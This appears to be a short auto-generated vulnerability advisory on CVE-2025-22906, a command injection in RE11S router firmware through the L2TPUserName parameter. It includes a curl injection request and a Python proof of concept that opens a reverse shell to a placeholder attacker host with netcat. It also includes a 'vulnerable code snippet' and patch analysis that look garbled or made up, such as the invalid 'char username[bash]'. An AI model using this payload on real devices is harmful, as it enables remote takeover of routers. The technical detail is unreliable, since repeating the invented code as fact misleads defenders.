How the CVE Works:
CVE-2025-22906 exploits a command injection flaw in the RE11S router firmware v1.11. The vulnerability resides in the `/goform/setWAN` endpoint, specifically in the `L2TPUserName` parameter. Attackers can inject malicious shell commands through this parameter due to insufficient input sanitization. When processed, the router executes these commands with root privileges, enabling complete system compromise. The attack can be performed remotely without authentication, making it highly exploitable.
DailyCVE Form:
Platform: RE11S Router
Version: v1.11
Vulnerability: Command Injection
Severity: Critical
Date: 04/09/2025
What Undercode Say:
Exploitation:
curl -X POST "http://<TARGET_IP>/goform/setWAN" -d "L2TPUserName=;id;"
Proof-of-Concept (PoC):
import requests
target = "192.168.1.1"
payload = ";nc -e /bin/sh <ATTACKER_IP> <PORT>;"
requests.post(f"http://{target}/goform/setWAN", data={"L2TPUserName": payload})
Mitigation:
1. Apply vendor patches immediately.
2. Restrict access to `/goform/setWAN` via firewall rules.
3. Implement input validation for `L2TPUserName`.
Detection:
grep -r "L2TPUserName" /www/goform/
Log Analysis:
tail -f /var/log/messages | grep "setWAN"
Workaround:
Disable L2TP if unused:
uci delete network.wan.l2tp_enable uci commit /etc/init.d/network restart
Exploit Impact:
- Remote code execution (RCE) as root.
- Full router compromise.
- Network traffic interception.
Vulnerable Code Snippet:
char username[bash];
strcpy(username, get_param("L2TPUserName"));
system(username); // Vulnerable function
Patch Analysis:
Vendor update replaces `system()` with `sanitized_input()`:
sanitized_input(username, sizeof(username)); exec_l2tp_command(username);
Network Indicators:
- Unusual POST requests to
/goform/setWAN. - Unexpected outbound connections from the router.
Forensics:
strings /tmp/wan_config | grep "L2TP"
Final Note:
Immediate patching is critical. Isolate affected devices.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-22906
Extra Source Hub:
Undercode
